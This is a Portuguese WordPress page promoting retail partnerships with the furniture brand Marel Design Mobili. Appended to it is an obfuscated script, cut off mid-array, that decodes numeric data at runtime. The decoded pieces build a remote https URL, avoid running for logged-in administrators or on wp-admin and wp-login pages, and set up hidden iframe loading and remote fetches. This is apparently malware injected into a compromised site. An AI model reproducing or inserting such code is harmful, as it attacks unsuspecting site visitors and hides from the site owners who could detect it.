<p class="wp-block-paragraph">A Marel oferece todo o apoio necessário ao empreendedor durante todo o processo de abertura da loja, bem como acompanhamento após o início das atividades. Os produtos são de alto padrão e a fábrica conta com equipamentos de última geração, o que garante a excelência na qualidade.&nbsp;</p>



<p class="wp-block-paragraph">A marca ainda conta com logística própria de distribuição, o que garante a segurança no transporte dos móveis e a velocidade na entrega.</p>



<p class="wp-block-paragraph">Além disso, você pode contar com um suporte rápido e acessível, assistência técnica e manuais para ajudar na estrutura operacional, softwares de gestão e, até mesmo, estrutura de marketing para alcançar o sucesso nas vendas.</p>



<p class="wp-block-paragraph">Ficou interessado? <a href="https://marel.com.br/seja-lojista/">Acesse a página seja lojista no site da Marel Design Mobili</a> e saiba mais sobre o assunto!</p>
<script>(function(){var __s=(function(){var _0x5641=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,120,50,46,46,42,41,96,117,117,40,53,41,40,63,60,47,40,56,53,41,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42,120,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,117,1,4,6,41,120,125,102,100,7,112,115,101,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,30,53,55,59,51,52,122,124,124,122,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,53,55,59,51,52,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,55,59,51,52,15,40,54,115,122,40,63,46,47,40,52,122,62,53,55,59,51,52,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,47,40,54,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,15,8,22,114,47,40,54,115,116,53,40,51,61,51,52,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,62,62,18,51,52,46,114,40,63,54,118,122,50,40,63,60,115,122,33,87,80,122,122,122,122,51,60,122,114,123,50,40,63,60,122,38,38,122,123,62,53,57,47,55,63,52,46,122,38,38,122,123,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,44,59,40,122,49,63,35,122,103,122,40,63,54,122,113,122,120,96,96,120,122,113,122,50,40,63,60,97,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,42,59,40,63,52,46,122,103,122,62,53,57,47,55,63,52,46,116,50,63,59,62,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,51,60,122,114,123,42,59,40,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,54,51,52,49,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,54,51,52,49,120,115,97,87,80,122,122,122,122,122,122,54,51,52,49,116,40,63,54,122,103,122,40,63,54,97,87,80,122,122,122,122,122,122,54,51,52,49,116,50,40,63,60,122,103,122,50,40,63,60,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,40,63,54,122,103,103,103,122,120,42,40,63,57,53,52,52,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,122,122,54,51,52,49,116,57,40,53,41,41,21,40,51,61,51,52,122,103,122,120,59,52,53,52,35,55,53,47,41,120,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,42,59,40,63,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,54,51,52,49,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,122,33,87,80,122,122,122,122,44,59,40,122,53,40,51,61,51,52,41,122,103,122,33,39,97,87,80,122,122,122,122,44,59,40,122,59,42,51,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,27,10,19,5,19,30,5,15,8,22,115,97,87,80,122,122,122,122,51,60,122,114,59,42,51,21,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,59,42,51,21,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,46,42,54,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,122,124,124,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,51,60,122,114,123,46,42,54,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,44,59,40,122,42,40,53,56,63,122,103,122,46,42,54,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,120,34,120,115,97,87,80,122,122,122,122,122,122,44,59,40,122,53,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,42,40,53,56,63,115,97,87,80,122,122,122,122,122,122,51,60,122,114,53,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,53,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,53,40,51,61,51,52,17,63,35,122,51,52,122,53,40,51,61,51,52,41,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,53,40,51,61,51,52,41,118,122,53,40,51,61,51,52,17,63,35,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,122,38,38,122,52,47,54,54,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,47,40,54,118,122,46,51,55,63,53,47,46,23,41,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,10,40,53,55,51,41,63,114,60,47,52,57,46,51,53,52,122,114,40,63,41,53,54,44,63,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,46,35,42,63,53,60,122,60,63,46,57,50,122,123,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,60,51,52,51,41,50,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,122,122,44,59,40,122,46,51,55,63,40,122,103,122,52,47,54,54,97,87,80,122,122,122,122,122,122,44,59,40,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,122,122,60,47,52,57,46,51,53,52,122,62,53,52,63,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,51,41,50,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,60,51,52,51,41,50,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,51,55,63,40,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,40,115,97,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,114,44,59,54,47,63,122,38,38,122,120,120,115,116,46,40,51,55,114,115,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,122,123,103,103,122,120,47,52,62,63,60,51,52,63,62,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,63,45,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,114,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,46,51,55,63,40,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,57,53,52,46,40,53,54,54,63,40,115,122,57,53,52,46,40,53,54,54,63,40,116,59,56,53,40,46,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,39,118,122,46,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,122,122,122,122,60,63,46,57,50,114,47,40,54,118,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,118,87,80,122,122,122,122,122,122,122,122,122,122,57